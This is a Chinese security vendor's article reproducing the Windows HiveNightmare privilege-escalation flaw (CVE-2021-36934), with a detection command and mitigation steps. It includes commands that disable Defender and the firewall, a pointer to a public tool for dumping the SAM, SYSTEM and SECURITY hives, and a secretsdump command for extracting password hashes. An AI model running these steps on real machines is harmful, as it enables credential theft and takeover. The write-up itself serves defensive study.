提交需求
*
*

*
*
*
立即提交
点击”立即提交”，表明我理解并同意 《美创科技隐私条款》
免费试用
400-811-3777

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创
    申请试用
      热门阅读
      1

      暗网数据泄露情报精选周报（2026.11.07-2026.11.13）

      2026-11-13

       2

      仅一个半月，就有上亿条信息泄露！

      2026-11-13

       3

      通知 | 工信部：加强智能体终端设备进网管理

      2026-11-12

       4

      案例 | 涉网络“开盒”、“饭圈”乱象等，最高检发布典型案例

      2026-11-11

       5

      新品｜美创发布诺亚星盾终端数据安全

      2026-11-10
      相关文章

      暗网数据泄露情报精选周报（2026.11.07-2026.11.13）

      2026-11-13

      暗网数据泄露情报精选周报（2026.10.31-2026.11.06）

      2026-11-06

      暗网数据泄露情报精选周报（2026.10.24-2026.10.30）

      2026-10-30

      暗网数据泄露情报精选周报 2026.10.17-2026.10.23

      2026-10-23

      数据泄漏情报精选周报2026.10.10-2026.10.16

      2026-10-16
      CVE-2021-36934: Windows特权提升漏洞复现
      发布时间：2021-08-20 阅读次数： 685 次

      漏洞概述


      CVE-2021-36934: Windows特权提升漏洞是由于Windows对多个系统文件（包括安全账户管理器(SAM)）的访问控制列表（ACL）过于宽松所导致的特权提升漏洞。成功利用此漏洞的攻击者可以将普通用户权限提升至SYSTEM权限，并在目标机器上执行任意代码，从而达到控制目标系统的目的。但该漏洞需要开启系统保护，并设置系统还原点才可利用。


      影响版本


      Microsoft:Windows10:1809及之后的版本


      漏洞检测方法


      执行以下命令：


      icacls C:windowssystem32configsam


      如果输出BUILTINUsers:(I)(RX) 表示该系统易受攻击。




      如果输出 Accessis denied 或拒绝访问表示该系统不易受攻击。




      漏洞复现


      1）环境配置


      启用administrator用户：net useradministrator /active:yes


      设置密码：net useradministrator 123456


      关闭Defender：


      reg add"HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v"DisableAntiSpyware" /d 1 /t REG_DWORD /f


      关闭防火墙：netsh advfirewallset allprofiles state off


      启用文件和打印机共享服务：net startlanmanserver




      2）创建系统还原点




      3）使用GossiTheDog提供的工具转储SAM，SYSTEM和SECURITY文件。


      工具地址：https://github.com/GossiTheDog/HiveNightmare




      可以看到在低权限账号下，成功利用CVE-2021–36934 读取到了 SAM、SECURITY、SYSTEM 三个文件。


      4）使用impacket-secretsdump工具获取目标用户的Hash 值


      git clonehttps:


      //github.com/SecureAuthCorp/impacket.gitcd impacket/examples


      cd impacket/examples


      python3 secretsdump.py -samSAM-2021-08-11 -system SYSTEM-2021-08-11 -security SECURITY-2021-08-11 LOCAL




      5）使用msf进行哈希传递攻击，利用SMB服务获取目标系统SYSTEM权限。




      6）成功获得system权限




      处置建议


      1）限制外部对%windir%system32config文件的访问：


      1．以管理员权限打开CMD或PowerShell


      2．运行该命令：icacls %windir%system32config*.*/inheritance:e


      2）删除卷影复制服务（VSS）副本：


      1．删除限制访问%windir%system32config之前存在的所有系统还原点和卷影


      2．创建一个新的系统还原点

      上一条：每周安全速递¹⁷²｜巴西财政部遭到勒索软件攻击
      下一条：勒索软件首次成功攻击国家核心金融系统，巴西国库惨遭攻击！
      返回
      关注或联系美创
      官方订阅号 官方订阅号
      官方服务号 官方服务号
      第59号 第59号
      服务热线：400-811-3777
      商务合作：marketing@mchz.com.cn
      友情链接 中央网信办 公安部 工信部 CNCERT 中国信通院 中国软件测评中心 国家工业信息安全发展研究中心 赛迪研究院
      Copyright © 2024 杭州美创科技股份有限公司 All rights reserved.
      浙公网安备 33010502006954号 浙ICP备12021012号-1 网站地图 网站声明及隐私保护政策
      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部